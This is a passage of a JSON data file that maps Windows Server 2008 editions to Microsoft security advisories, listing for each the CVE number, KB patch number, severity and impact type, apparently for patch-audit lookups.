Disclosure"},{"cve":"CVE-2017-8708","kb":"4038874","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4039038","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056615","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056759","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4101477","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4056564","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093478","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4131188","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4134651","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4463097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4458010","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467706","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467706","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4134651","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480968","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499149","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493471","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534303","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537810","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541506","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571730","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571730","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003210","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003210","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003661","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5004955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005090","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005563","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006736","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-20569","kb":"5029318","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026408","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028222","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041850","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043135","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048710","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24985","kb":"5053888","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053888","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055609","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058449","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058449","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061026","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063888","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063888","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 for Itanium-Based Systems":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for Itanium-Based Systems Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2898855","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-7255","kb":"3198234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012497","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4018556","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019204","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041671","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4052303","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4021903","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022010","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4022748","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4039384","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038874","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4039038","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056615","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056759","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4101477","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4056564","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093478","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4131188","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4134651","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4463097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4458010","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467706","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467706","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4134651","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480968","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499149","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493471","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534303","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 for Itanium-based Systems Service Pack 2":[{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-7255","kb":"3198234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012583","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for x64-based Systems":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2898855","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of 